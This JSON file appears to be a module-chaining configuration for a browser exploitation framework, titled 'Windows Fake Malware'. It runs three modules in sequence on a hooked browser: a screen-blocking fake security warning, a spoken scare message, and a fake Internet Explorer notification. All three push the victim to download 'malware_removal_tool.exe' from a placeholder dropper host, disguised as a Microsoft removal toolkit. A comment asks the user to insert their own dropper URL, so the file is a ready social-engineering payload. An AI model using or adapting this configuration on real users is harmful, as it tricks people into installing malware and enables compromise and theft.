// note: update your dropper URL (dropper.local) in each of the modules below
{
  "name": "Windows Fake Malware",
  "author": "bcoles",
  "os": "Windows",
  "modules": [
    {
      "name": "blockui",
      "condition": null,
      "options": {
        "message": "<img src='data:image/png;base64,[encoded data, 4380 characters]'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
        "timeout": "9999"
      }
    },
    {
      "name": "text_to_voice",
      "condition": null,
      "options": {
        "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
        "language": "en"
      }
    },
    {
      "name": "fake_notification_ie",
      "condition": null,
      "options": {
        "url": "http://dropper.local/malware_removal_tool.exe",
        "notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
      }
    }
  ],
  "execution_order": [0,1,2],
  "execution_delay": [0,0,0],
  "chain_mode": "sequential"
}
